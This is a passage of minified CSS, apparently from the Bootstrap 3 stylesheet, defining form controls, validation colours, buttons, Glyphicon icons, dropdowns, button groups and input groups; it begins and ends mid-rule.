opacity: 1; } .form-control:-ms-input-placeholder { color: #999; } .form-control::-webkit-input-placeholder { color: #999; } .form-control[disabled], .form-control[readonly], fieldset[disabled] .form-control { cursor: not-allowed; background-color: #eee; opacity: 1; } textarea.form-control { height: auto; } input[type="date"] { line-height: 34px; } .form-group { margin-bottom: 15px; } .radio, .checkbox { display: block; min-height: 20px; padding-left: 20px; margin-top: 10px; margin-bottom: 10px; } .radio label, .checkbox label { display: inline; font-weight: normal; cursor: pointer; } .radio input[type="radio"], .radio-inline input[type="radio"], .checkbox input[type="checkbox"], .checkbox-inline input[type="checkbox"] { float: left; margin-left: -20px; } .radio + .radio, .checkbox + .checkbox { margin-top: -5px; } .radio-inline, .checkbox-inline { display: inline-block; padding-left: 20px; margin-bottom: 0; font-weight: normal; vertical-align: middle; cursor: pointer; } .radio-inline + .radio-inline, .checkbox-inline + .checkbox-inline { margin-top: 0; margin-left: 10px; } input[type="radio"][disabled], input[type="checkbox"][disabled], .radio[disabled], .radio-inline[disabled], .checkbox[disabled], .checkbox-inline[disabled], fieldset[disabled] input[type="radio"], fieldset[disabled] input[type="checkbox"], fieldset[disabled] .radio, fieldset[disabled] .radio-inline, fieldset[disabled] .checkbox, fieldset[disabled] .checkbox-inline { cursor: not-allowed; } .input-sm { height: 30px; padding: 5px 10px; font-size: 12px; line-height: 1.5; border-radius: 3px; } select.input-sm { height: 30px; line-height: 30px; } textarea.input-sm, select[multiple].input-sm { height: auto; } .input-lg { height: 46px; padding: 10px 16px; font-size: 18px; line-height: 1.33; border-radius: 6px; } select.input-lg { height: 46px; line-height: 46px; } textarea.input-lg, select[multiple].input-lg { height: auto; } .has-feedback { position: relative; } .has-feedback .form-control { padding-right: 42.5px; } .has-feedback .form-control-feedback { position: absolute; top: 25px; right: 0; display: block; width: 34px; height: 34px; line-height: 34px; text-align: center; } .has-success .help-block, .has-success .control-label, .has-success .radio, .has-success .checkbox, .has-success .radio-inline, .has-success .checkbox-inline { color: #3c763d; } .has-success .form-control { border-color: #3c763d; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); } .has-success .form-control:focus { border-color: #2b542c; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168; box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168; } .has-success .input-group-addon { color: #3c763d; background-color: #dff0d8; border-color: #3c763d; } .has-success .form-control-feedback { color: #3c763d; } .has-warning .help-block, .has-warning .control-label, .has-warning .radio, .has-warning .checkbox, .has-warning .radio-inline, .has-warning .checkbox-inline { color: #8a6d3b; } .has-warning .form-control { border-color: #8a6d3b; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); } .has-warning .form-control:focus { border-color: #66512c; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b; box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b; } .has-warning .input-group-addon { color: #8a6d3b; background-color: #fcf8e3; border-color: #8a6d3b; } .has-warning .form-control-feedback { color: #8a6d3b; } .has-error .help-block, .has-error .control-label, .has-error .radio, .has-error .checkbox, .has-error .radio-inline, .has-error .checkbox-inline { color: #a94442; } .has-error .form-control { border-color: #a94442; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); } .has-error .form-control:focus { border-color: #843534; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483; box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483; } .has-error .input-group-addon { color: #a94442; background-color: #f2dede; border-color: #a94442; } .has-error .form-control-feedback { color: #a94442; } .form-control-static { margin-bottom: 0; } .help-block { display: block; margin-top: 5px; margin-bottom: 10px; color: #737373; } @media (min-width: 768px) { .form-inline .form-group { display: inline-block; margin-bottom: 0; vertical-align: middle; } .form-inline .form-control { display: inline-block; width: auto; vertical-align: middle; } .form-inline .control-label { margin-bottom: 0; vertical-align: middle; } .form-inline .radio, .form-inline .checkbox { display: inline-block; padding-left: 0; margin-top: 0; margin-bottom: 0; vertical-align: middle; } .form-inline .radio input[type="radio"], .form-inline .checkbox input[type="checkbox"] { float: none; margin-left: 0; } .form-inline .has-feedback .form-control-feedback { top: 0; } } .form-horizontal .control-label, .form-horizontal .radio, .form-horizontal .checkbox, .form-horizontal .radio-inline, .form-horizontal .checkbox-inline { padding-top: 7px; margin-top: 0; margin-bottom: 0; } .form-horizontal .radio, .form-horizontal .checkbox { min-height: 27px; } .form-horizontal .form-group { margin-right: -15px; margin-left: -15px; } .form-horizontal .form-control-static { padding-top: 7px; } @media (min-width: 768px) { .form-horizontal .control-label { text-align: right; } } .form-horizontal .has-feedback .form-control-feedback { top: 0; right: 15px; } .btn { display: inline-block; padding: 6px 12px; margin-bottom: 0; font-size: 14px; font-weight: normal; line-height: 1.428571429; text-align: center; white-space: nowrap; vertical-align: middle; cursor: pointer; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; -o-user-select: none; user-select: none; background-image: none; border: 1px solid transparent; border-radius: 4px; } .btn:focus { outline: thin dotted; outline: 5px auto -webkit-focus-ring-color; outline-offset: -2px; } .btn:hover, .btn:focus { color: #333; text-decoration: none; } .btn:active, .btn.active { background-image: none; outline: 0; -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); } .btn.disabled, .btn[disabled], fieldset[disabled] .btn { pointer-events: none; cursor: not-allowed; filter: alpha(opacity=65); -webkit-box-shadow: none; box-shadow: none; opacity: .65; } .btn-default { color: #333; background-color: #fff; border-color: #ccc; } .btn-default:hover, .btn-default:focus, .btn-default:active, .btn-default.active, .open .dropdown-toggle.btn-default { color: #333; background-color: #ebebeb; border-color: #adadad; } .btn-default:active, .btn-default.active, .open .dropdown-toggle.btn-default { background-image: none; } .btn-default.disabled, .btn-default[disabled], fieldset[disabled] .btn-default, .btn-default.disabled:hover, .btn-default[disabled]:hover, fieldset[disabled] .btn-default:hover, .btn-default.disabled:focus, .btn-default[disabled]:focus, fieldset[disabled] .btn-default:focus, .btn-default.disabled:active, .btn-default[disabled]:active, fieldset[disabled] .btn-default:active, .btn-default.disabled.active, .btn-default[disabled].active, fieldset[disabled] .btn-default.active { background-color: #fff; border-color: #ccc; } .btn-default .badge { color: #fff; background-color: #333; } .btn-primary { color: #fff; background-color: #428bca; border-color: #357ebd; } .btn-primary:hover, .btn-primary:focus, .btn-primary:active, .btn-primary.active, .open .dropdown-toggle.btn-primary { color: #fff; background-color: #3276b1; border-color: #285e8e; } .btn-primary:active, .btn-primary.active, .open .dropdown-toggle.btn-primary { background-image: none; } .btn-primary.disabled, .btn-primary[disabled], fieldset[disabled] .btn-primary, .btn-primary.disabled:hover, .btn-primary[disabled]:hover, fieldset[disabled] .btn-primary:hover, .btn-primary.disabled:focus, .btn-primary[disabled]:focus, fieldset[disabled] .btn-primary:focus, .btn-primary.disabled:active, .btn-primary[disabled]:active, fieldset[disabled] .btn-primary:active, .btn-primary.disabled.active, .btn-primary[disabled].active, fieldset[disabled] .btn-primary.active { background-color: #428bca; border-color: #357ebd; } .btn-primary .badge { color: #428bca; background-color: #fff; } .btn-success { color: #fff; background-color: #5cb85c; border-color: #4cae4c; } .btn-success:hover, .btn-success:focus, .btn-success:active, .btn-success.active, .open .dropdown-toggle.btn-success { color: #fff; background-color: #47a447; border-color: #398439; } .btn-success:active, .btn-success.active, .open .dropdown-toggle.btn-success { background-image: none; } .btn-success.disabled, .btn-success[disabled], fieldset[disabled] .btn-success, .btn-success.disabled:hover, .btn-success[disabled]:hover, fieldset[disabled] .btn-success:hover, .btn-success.disabled:focus, .btn-success[disabled]:focus, fieldset[disabled] .btn-success:focus, .btn-success.disabled:active, .btn-success[disabled]:active, fieldset[disabled] .btn-success:active, .btn-success.disabled.active, .btn-success[disabled].active, fieldset[disabled] .btn-success.active { background-color: #5cb85c; border-color: #4cae4c; } .btn-success .badge { color: #5cb85c; background-color: #fff; } .btn-info { color: #fff; background-color: #5bc0de; border-color: #46b8da; } .btn-info:hover, .btn-info:focus, .btn-info:active, .btn-info.active, .open .dropdown-toggle.btn-info { color: #fff; background-color: #39b3d7; border-color: #269abc; } .btn-info:active, .btn-info.active, .open .dropdown-toggle.btn-info { background-image: none; } .btn-info.disabled, .btn-info[disabled], fieldset[disabled] .btn-info, .btn-info.disabled:hover, .btn-info[disabled]:hover, fieldset[disabled] .btn-info:hover, .btn-info.disabled:focus, .btn-info[disabled]:focus, fieldset[disabled] .btn-info:focus, .btn-info.disabled:active, .btn-info[disabled]:active, fieldset[disabled] .btn-info:active, .btn-info.disabled.active, .btn-info[disabled].active, fieldset[disabled] .btn-info.active { background-color: #5bc0de; border-color: #46b8da; } .btn-info .badge { color: #5bc0de; background-color: #fff; } .btn-warning { color: #fff; background-color: #f0ad4e; border-color: #eea236; } .btn-warning:hover, .btn-warning:focus, .btn-warning:active, .btn-warning.active, .open .dropdown-toggle.btn-warning { color: #fff; background-color: #ed9c28; border-color: #d58512; } .btn-warning:active, .btn-warning.active, .open .dropdown-toggle.btn-warning { background-image: none; } .btn-warning.disabled, .btn-warning[disabled], fieldset[disabled] .btn-warning, .btn-warning.disabled:hover, .btn-warning[disabled]:hover, fieldset[disabled] .btn-warning:hover, .btn-warning.disabled:focus, .btn-warning[disabled]:focus, fieldset[disabled] .btn-warning:focus, .btn-warning.disabled:active, .btn-warning[disabled]:active, fieldset[disabled] .btn-warning:active, .btn-warning.disabled.active, .btn-warning[disabled].active, fieldset[disabled] .btn-warning.active { background-color: #f0ad4e; border-color: #eea236; } .btn-warning .badge { color: #f0ad4e; background-color: #fff; } .btn-danger { color: #fff; background-color: #d9534f; border-color: #d43f3a; } .btn-danger:hover, .btn-danger:focus, .btn-danger:active, .btn-danger.active, .open .dropdown-toggle.btn-danger { color: #fff; background-color: #d2322d; border-color: #ac2925; } .btn-danger:active, .btn-danger.active, .open .dropdown-toggle.btn-danger { background-image: none; } .btn-danger.disabled, .btn-danger[disabled], fieldset[disabled] .btn-danger, .btn-danger.disabled:hover, .btn-danger[disabled]:hover, fieldset[disabled] .btn-danger:hover, .btn-danger.disabled:focus, .btn-danger[disabled]:focus, fieldset[disabled] .btn-danger:focus, .btn-danger.disabled:active, .btn-danger[disabled]:active, fieldset[disabled] .btn-danger:active, .btn-danger.disabled.active, .btn-danger[disabled].active, fieldset[disabled] .btn-danger.active { background-color: #d9534f; border-color: #d43f3a; } .btn-danger .badge { color: #d9534f; background-color: #fff; } .btn-link { font-weight: normal; color: #428bca; cursor: pointer; border-radius: 0; } .btn-link, .btn-link:active, .btn-link[disabled], fieldset[disabled] .btn-link { background-color: transparent; -webkit-box-shadow: none; box-shadow: none; } .btn-link, .btn-link:hover, .btn-link:focus, .btn-link:active { border-color: transparent; } .btn-link:hover, .btn-link:focus { color: #2a6496; text-decoration: underline; background-color: transparent; } .btn-link[disabled]:hover, fieldset[disabled] .btn-link:hover, .btn-link[disabled]:focus, fieldset[disabled] .btn-link:focus { color: #999; text-decoration: none; } .btn-lg { padding: 10px 16px; font-size: 18px; line-height: 1.33; border-radius: 6px; } .btn-sm { padding: 5px 10px; font-size: 12px; line-height: 1.5; border-radius: 3px; } .btn-xs { padding: 1px 5px; font-size: 12px; line-height: 1.5; border-radius: 3px; } .btn-block { display: block; width: 100%; padding-right: 0; padding-left: 0; } .btn-block + .btn-block { margin-top: 5px; } input[type="submit"].btn-block, input[type="reset"].btn-block, input[type="button"].btn-block { width: 100%; } .fade { opacity: 0; -webkit-transition: opacity .15s linear; transition: opacity .15s linear; } .fade.in { opacity: 1; } .collapse { display: none; } .collapse.in { display: block; } .collapsing { position: relative; height: 0; overflow: hidden; -webkit-transition: height .35s ease; transition: height .35s ease; } @font-face { font-family: 'Glyphicons Halflings'; src: url('../fonts/glyphicons-halflings-regular.eot'); src: url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'), url('../fonts/glyphicons-halflings-regular.woff') format('woff'), url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'), url('../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular') format('svg'); } .glyphicon { position: relative; top: 1px; display: inline-block; font-family: 'Glyphicons Halflings'; font-style: normal; font-weight: normal; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .glyphicon-asterisk:before { content: "\2a"; } .glyphicon-plus:before { content: "\2b"; } .glyphicon-euro:before { content: "\20ac"; } .glyphicon-minus:before { content: "\2212"; } .glyphicon-cloud:before { content: "\2601"; } .glyphicon-envelope:before { content: "\2709"; } .glyphicon-pencil:before { content: "\270f"; } .glyphicon-glass:before { content: "\e001"; } .glyphicon-music:before { content: "\e002"; } .glyphicon-search:before { content: "\e003"; } .glyphicon-heart:before { content: "\e005"; } .glyphicon-star:before { content: "\e006"; } .glyphicon-star-empty:before { content: "\e007"; } .glyphicon-user:before { content: "\e008"; } .glyphicon-film:before { content: "\e009"; } .glyphicon-th-large:before { content: "\e010"; } .glyphicon-th:before { content: "\e011"; } .glyphicon-th-list:before { content: "\e012"; } .glyphicon-ok:before { content: "\e013"; } .glyphicon-remove:before { content: "\e014"; } .glyphicon-zoom-in:before { content: "\e015"; } .glyphicon-zoom-out:before { content: "\e016"; } .glyphicon-off:before { content: "\e017"; } .glyphicon-signal:before { content: "\e018"; } .glyphicon-cog:before { content: "\e019"; } .glyphicon-trash:before { content: "\e020"; } .glyphicon-home:before { content: "\e021"; } .glyphicon-file:before { content: "\e022"; } .glyphicon-time:before { content: "\e023"; } .glyphicon-road:before { content: "\e024"; } .glyphicon-download-alt:before { content: "\e025"; } .glyphicon-download:before { content: "\e026"; } .glyphicon-upload:before { content: "\e027"; } .glyphicon-inbox:before { content: "\e028"; } .glyphicon-play-circle:before { content: "\e029"; } .glyphicon-repeat:before { content: "\e030"; } .glyphicon-refresh:before { content: "\e031"; } .glyphicon-list-alt:before { content: "\e032"; } .glyphicon-lock:before { content: "\e033"; } .glyphicon-flag:before { content: "\e034"; } .glyphicon-headphones:before { content: "\e035"; } .glyphicon-volume-off:before { content: "\e036"; } .glyphicon-volume-down:before { content: "\e037"; } .glyphicon-volume-up:before { content: "\e038"; } .glyphicon-qrcode:before { content: "\e039"; } .glyphicon-barcode:before { content: "\e040"; } .glyphicon-tag:before { content: "\e041"; } .glyphicon-tags:before { content: "\e042"; } .glyphicon-book:before { content: "\e043"; } .glyphicon-bookmark:before { content: "\e044"; } .glyphicon-print:before { content: "\e045"; } .glyphicon-camera:before { content: "\e046"; } .glyphicon-font:before { content: "\e047"; } .glyphicon-bold:before { content: "\e048"; } .glyphicon-italic:before { content: "\e049"; } .glyphicon-text-height:before { content: "\e050"; } .glyphicon-text-width:before { content: "\e051"; } .glyphicon-align-left:before { content: "\e052"; } .glyphicon-align-center:before { content: "\e053"; } .glyphicon-align-right:before { content: "\e054"; } .glyphicon-align-justify:before { content: "\e055"; } .glyphicon-list:before { content: "\e056"; } .glyphicon-indent-left:before { content: "\e057"; } .glyphicon-indent-right:before { content: "\e058"; } .glyphicon-facetime-video:before { content: "\e059"; } .glyphicon-picture:before { content: "\e060"; } .glyphicon-map-marker:before { content: "\e062"; } .glyphicon-adjust:before { content: "\e063"; } .glyphicon-tint:before { content: "\e064"; } .glyphicon-edit:before { content: "\e065"; } .glyphicon-share:before { content: "\e066"; } .glyphicon-check:before { content: "\e067"; } .glyphicon-move:before { content: "\e068"; } .glyphicon-step-backward:before { content: "\e069"; } .glyphicon-fast-backward:before { content: "\e070"; } .glyphicon-backward:before { content: "\e071"; } .glyphicon-play:before { content: "\e072"; } .glyphicon-pause:before { content: "\e073"; } .glyphicon-stop:before { content: "\e074"; } .glyphicon-forward:before { content: "\e075"; } .glyphicon-fast-forward:before { content: "\e076"; } .glyphicon-step-forward:before { content: "\e077"; } .glyphicon-eject:before { content: "\e078"; } .glyphicon-chevron-left:before { content: "\e079"; } .glyphicon-chevron-right:before { content: "\e080"; } .glyphicon-plus-sign:before { content: "\e081"; } .glyphicon-minus-sign:before { content: "\e082"; } .glyphicon-remove-sign:before { content: "\e083"; } .glyphicon-ok-sign:before { content: "\e084"; } .glyphicon-question-sign:before { content: "\e085"; } .glyphicon-info-sign:before { content: "\e086"; } .glyphicon-screenshot:before { content: "\e087"; } .glyphicon-remove-circle:before { content: "\e088"; } .glyphicon-ok-circle:before { content: "\e089"; } .glyphicon-ban-circle:before { content: "\e090"; } .glyphicon-arrow-left:before { content: "\e091"; } .glyphicon-arrow-right:before { content: "\e092"; } .glyphicon-arrow-up:before { content: "\e093"; } .glyphicon-arrow-down:before { content: "\e094"; } .glyphicon-share-alt:before { content: "\e095"; } .glyphicon-resize-full:before { content: "\e096"; } .glyphicon-resize-small:before { content: "\e097"; } .glyphicon-exclamation-sign:before { content: "\e101"; } .glyphicon-gift:before { content: "\e102"; } .glyphicon-leaf:before { content: "\e103"; } .glyphicon-fire:before { content: "\e104"; } .glyphicon-eye-open:before { content: "\e105"; } .glyphicon-eye-close:before { content: "\e106"; } .glyphicon-warning-sign:before { content: "\e107"; } .glyphicon-plane:before { content: "\e108"; } .glyphicon-calendar:before { content: "\e109"; } .glyphicon-random:before { content: "\e110"; } .glyphicon-comment:before { content: "\e111"; } .glyphicon-magnet:before { content: "\e112"; } .glyphicon-chevron-up:before { content: "\e113"; } .glyphicon-chevron-down:before { content: "\e114"; } .glyphicon-retweet:before { content: "\e115"; } .glyphicon-shopping-cart:before { content: "\e116"; } .glyphicon-folder-close:before { content: "\e117"; } .glyphicon-folder-open:before { content: "\e118"; } .glyphicon-resize-vertical:before { content: "\e119"; } .glyphicon-resize-horizontal:before { content: "\e120"; } .glyphicon-hdd:before { content: "\e121"; } .glyphicon-bullhorn:before { content: "\e122"; } .glyphicon-bell:before { content: "\e123"; } .glyphicon-certificate:before { content: "\e124"; } .glyphicon-thumbs-up:before { content: "\e125"; } .glyphicon-thumbs-down:before { content: "\e126"; } .glyphicon-hand-right:before { content: "\e127"; } .glyphicon-hand-left:before { content: "\e128"; } .glyphicon-hand-up:before { content: "\e129"; } .glyphicon-hand-down:before { content: "\e130"; } .glyphicon-circle-arrow-right:before { content: "\e131"; } .glyphicon-circle-arrow-left:before { content: "\e132"; } .glyphicon-circle-arrow-up:before { content: "\e133"; } .glyphicon-circle-arrow-down:before { content: "\e134"; } .glyphicon-globe:before { content: "\e135"; } .glyphicon-wrench:before { content: "\e136"; } .glyphicon-tasks:before { content: "\e137"; } .glyphicon-filter:before { content: "\e138"; } .glyphicon-briefcase:before { content: "\e139"; } .glyphicon-fullscreen:before { content: "\e140"; } .glyphicon-dashboard:before { content: "\e141"; } .glyphicon-paperclip:before { content: "\e142"; } .glyphicon-heart-empty:before { content: "\e143"; } .glyphicon-link:before { content: "\e144"; } .glyphicon-phone:before { content: "\e145"; } .glyphicon-pushpin:before { content: "\e146"; } .glyphicon-usd:before { content: "\e148"; } .glyphicon-gbp:before { content: "\e149"; } .glyphicon-sort:before { content: "\e150"; } .glyphicon-sort-by-alphabet:before { content: "\e151"; } .glyphicon-sort-by-alphabet-alt:before { content: "\e152"; } .glyphicon-sort-by-order:before { content: "\e153"; } .glyphicon-sort-by-order-alt:before { content: "\e154"; } .glyphicon-sort-by-attributes:before { content: "\e155"; } .glyphicon-sort-by-attributes-alt:before { content: "\e156"; } .glyphicon-unchecked:before { content: "\e157"; } .glyphicon-expand:before { content: "\e158"; } .glyphicon-collapse-down:before { content: "\e159"; } .glyphicon-collapse-up:before { content: "\e160"; } .glyphicon-log-in:before { content: "\e161"; } .glyphicon-flash:before { content: "\e162"; } .glyphicon-log-out:before { content: "\e163"; } .glyphicon-new-window:before { content: "\e164"; } .glyphicon-record:before { content: "\e165"; } .glyphicon-save:before { content: "\e166"; } .glyphicon-open:before { content: "\e167"; } .glyphicon-saved:before { content: "\e168"; } .glyphicon-import:before { content: "\e169"; } .glyphicon-export:before { content: "\e170"; } .glyphicon-send:before { content: "\e171"; } .glyphicon-floppy-disk:before { content: "\e172"; } .glyphicon-floppy-saved:before { content: "\e173"; } .glyphicon-floppy-remove:before { content: "\e174"; } .glyphicon-floppy-save:before { content: "\e175"; } .glyphicon-floppy-open:before { content: "\e176"; } .glyphicon-credit-card:before { content: "\e177"; } .glyphicon-transfer:before { content: "\e178"; } .glyphicon-cutlery:before { content: "\e179"; } .glyphicon-header:before { content: "\e180"; } .glyphicon-compressed:before { content: "\e181"; } .glyphicon-earphone:before { content: "\e182"; } .glyphicon-phone-alt:before { content: "\e183"; } .glyphicon-tower:before { content: "\e184"; } .glyphicon-stats:before { content: "\e185"; } .glyphicon-sd-video:before { content: "\e186"; } .glyphicon-hd-video:before { content: "\e187"; } .glyphicon-subtitles:before { content: "\e188"; } .glyphicon-sound-stereo:before { content: "\e189"; } .glyphicon-sound-dolby:before { content: "\e190"; } .glyphicon-sound-5-1:before { content: "\e191"; } .glyphicon-sound-6-1:before { content: "\e192"; } .glyphicon-sound-7-1:before { content: "\e193"; } .glyphicon-copyright-mark:before { content: "\e194"; } .glyphicon-registration-mark:before { content: "\e195"; } .glyphicon-cloud-download:before { content: "\e197"; } .glyphicon-cloud-upload:before { content: "\e198"; } .glyphicon-tree-conifer:before { content: "\e199"; } .glyphicon-tree-deciduous:before { content: "\e200"; } .caret { display: inline-block; width: 0; height: 0; margin-left: 2px; vertical-align: middle; border-top: 4px solid; border-right: 4px solid transparent; border-left: 4px solid transparent; } .dropdown { position: relative; } .dropdown-toggle:focus { outline: 0; } .dropdown-menu { position: absolute; top: 100%; left: 0; z-index: 1000; display: none; float: left; min-width: 160px; padding: 5px 0; margin: 2px 0 0; font-size: 14px; list-style: none; background-color: #fff; background-clip: padding-box; border: 1px solid #ccc; border: 1px solid rgba(0, 0, 0, .15); border-radius: 4px; -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, .175); box-shadow: 0 6px 12px rgba(0, 0, 0, .175); } .dropdown-menu.pull-right { right: 0; left: auto; } .dropdown-menu .divider { height: 1px; margin: 9px 0; overflow: hidden; background-color: #e5e5e5; } .dropdown-menu > li > a { display: block; padding: 3px 20px; clear: both; font-weight: normal; line-height: 1.428571429; color: #333; white-space: nowrap; } .dropdown-menu > li > a:hover, .dropdown-menu > li > a:focus { color: #262626; text-decoration: none; background-color: #f5f5f5; } .dropdown-menu > .active > a, .dropdown-menu > .active > a:hover, .dropdown-menu > .active > a:focus { color: #fff; text-decoration: none; background-color: #428bca; outline: 0; } .dropdown-menu > .disabled > a, .dropdown-menu > .disabled > a:hover, .dropdown-menu > .disabled > a:focus { color: #999; } .dropdown-menu > .disabled > a:hover, .dropdown-menu > .disabled > a:focus { text-decoration: none; cursor: not-allowed; background-color: transparent; background-image: none; filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); } .open > .dropdown-menu { display: block; } .open > a { outline: 0; } .dropdown-menu-right { right: 0; left: auto; } .dropdown-menu-left { right: auto; left: 0; } .dropdown-header { display: block; padding: 3px 20px; font-size: 12px; line-height: 1.428571429; color: #999; } .dropdown-backdrop { position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: 990; } .pull-right > .dropdown-menu { right: 0; left: auto; } .dropup .caret, .navbar-fixed-bottom .dropdown .caret { content: ""; border-top: 0; border-bottom: 4px solid; } .dropup .dropdown-menu, .navbar-fixed-bottom .dropdown .dropdown-menu { top: auto; bottom: 100%; margin-bottom: 1px; } @media (min-width: 768px) { .navbar-right .dropdown-menu { right: 0; left: auto; } .navbar-right .dropdown-menu-left { right: auto; left: 0; } } .btn-group, .btn-group-vertical { position: relative; display: inline-block; vertical-align: middle; } .btn-group > .btn, .btn-group-vertical > .btn { position: relative; float: left; } .btn-group > .btn:hover, .btn-group-vertical > .btn:hover, .btn-group > .btn:focus, .btn-group-vertical > .btn:focus, .btn-group > .btn:active, .btn-group-vertical > .btn:active, .btn-group > .btn.active, .btn-group-vertical > .btn.active { z-index: 2; } .btn-group > .btn:focus, .btn-group-vertical > .btn:focus { outline: none; } .btn-group .btn + .btn, .btn-group .btn + .btn-group, .btn-group .btn-group + .btn, .btn-group .btn-group + .btn-group { margin-left: -1px; } .btn-toolbar { margin-left: -5px; } .btn-toolbar .btn-group, .btn-toolbar .input-group { float: left; } .btn-toolbar > .btn, .btn-toolbar > .btn-group, .btn-toolbar > .input-group { margin-left: 5px; } .btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) { border-radius: 0; } .btn-group > .btn:first-child { margin-left: 0; } .btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) { border-top-right-radius: 0; border-bottom-right-radius: 0; } .btn-group > .btn:last-child:not(:first-child), .btn-group > .dropdown-toggle:not(:first-child) { border-top-left-radius: 0; border-bottom-left-radius: 0; } .btn-group > .btn-group { float: left; } .btn-group > .btn-group:not(:first-child):not(:last-child) > .btn { border-radius: 0; } .btn-group > .btn-group:first-child > .btn:last-child, .btn-group > .btn-group:first-child > .dropdown-toggle { border-top-right-radius: 0; border-bottom-right-radius: 0; } .btn-group > .btn-group:last-child > .btn:first-child { border-top-left-radius: 0; border-bottom-left-radius: 0; } .btn-group .dropdown-toggle:active, .btn-group.open .dropdown-toggle { outline: 0; } .btn-group-xs > .btn { padding: 1px 5px; font-size: 12px; line-height: 1.5; border-radius: 3px; } .btn-group-sm > .btn { padding: 5px 10px; font-size: 12px; line-height: 1.5; border-radius: 3px; } .btn-group-lg > .btn { padding: 10px 16px; font-size: 18px; line-height: 1.33; border-radius: 6px; } .btn-group > .btn + .dropdown-toggle { padding-right: 8px; padding-left: 8px; } .btn-group > .btn-lg + .dropdown-toggle { padding-right: 12px; padding-left: 12px; } .btn-group.open .dropdown-toggle { -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); } .btn-group.open .dropdown-toggle.btn-link { -webkit-box-shadow: none; box-shadow: none; } .btn .caret { margin-left: 0; } .btn-lg .caret { border-width: 5px 5px 0; border-bottom-width: 0; } .dropup .btn-lg .caret { border-width: 0 5px 5px; } .btn-group-vertical > .btn, .btn-group-vertical > .btn-group, .btn-group-vertical > .btn-group > .btn { display: block; float: none; width: 100%; max-width: 100%; } .btn-group-vertical > .btn-group > .btn { float: none; } .btn-group-vertical > .btn + .btn, .btn-group-vertical > .btn + .btn-group, .btn-group-vertical > .btn-group + .btn, .btn-group-vertical > .btn-group + .btn-group { margin-top: -1px; margin-left: 0; } .btn-group-vertical > .btn:not(:first-child):not(:last-child) { border-radius: 0; } .btn-group-vertical > .btn:first-child:not(:last-child) { border-top-right-radius: 4px; border-bottom-right-radius: 0; border-bottom-left-radius: 0; } .btn-group-vertical > .btn:last-child:not(:first-child) { border-top-left-radius: 0; border-top-right-radius: 0; border-bottom-left-radius: 4px; } .btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn { border-radius: 0; } .btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child, .btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle { border-bottom-right-radius: 0; border-bottom-left-radius: 0; } .btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child { border-top-left-radius: 0; border-top-right-radius: 0; } .btn-group-justified { display: table; width: 100%; table-layout: fixed; border-collapse: separate; } .btn-group-justified > .btn, .btn-group-justified > .btn-group { display: table-cell; float: none; width: 1%; } .btn-group-justified > .btn-group .btn { width: 100%; } [data-toggle="buttons"] > .btn > input[type="radio"], [data-toggle="buttons"] > .btn > input[type="checkbox"] { display: none; } .input-group { position: relative; display: table; border-collapse: separate; } .input-group[class*="col-"] { float: none; padding-right: 0; padding-left: 0; } .input-group .form-control { float: left; width: 100%; margin-bottom: 0; } .input-group-lg > .form-control, .input-group-lg > .input-group-addon, .input-group-lg > .input-group-btn > .btn { height: 46px; padding: 10px 16px; font-size: 18px; line-height: 1.33; border-radius: 6px; } select.input-group-lg > .form-control, select.input-group-lg > .input-group-addon, select.input-group-lg > .input-group-btn > .btn { height: 46px; line-height: 46px; } textarea.input-group-lg > .form-control, textarea.input-group-lg > .input-group-addon, textarea.input-group-lg > .input-group-btn > .btn, select[multiple].input-group-lg > .form-control, select[multiple].input-group-lg > .input-group-addon, select[multiple].input-group-lg > .input-group-btn > .btn { height: auto; } .input-group-sm > .form-control, .input-group-sm > .input-group-addon, .input-group-sm > .input-group-btn > .btn { height: 30px; padding: 5px 10px; font-size: 12px; line-height: 1.5; border-radius: 3px; } select.input-group-sm > .form-control, select.input-group-sm > .input-group-addon, select.input-group-sm > .input-group-btn > .btn { height: 30px; line-height: 30px; } textarea.input-group-sm > .form-control, textarea.input-group-sm > .input-group-addon, textarea.input-group-sm > .input-group-btn > .btn, select[multiple].input-group-sm > .form-control, select[multiple].input-group-sm > .input-group-addon, select[multiple].input-group-sm > .input-group-btn > .btn { height: auto; } .input-group-addon, .input-group-btn, .input-group .form-control { display: table-cell; } .input-group-addon:not(:first-child):not(:last-child), .input-group-btn:not(:first-child):not(:last-child), .input-group .form-control:not(:first-child):not(:last-child) { border-radius: 0; } .input-group-addon, .input-group-btn { width: 1%; white-space: nowrap; vertical-align: middle; } .input-group-addon { padding: 6px 12px; font-size: 14px; font-weight: normal; line-height: 1; color: #555; text-align: center; background-color: #eee; border: 1px solid #ccc; border-radius: 4px; } .input-group-addon.input-sm { padding: 5px 10px; font-size: 12px; border-radius: 3px; } .input-group-addon.input-lg { padding: 10px 16px; font-size: 18px; border-radius: 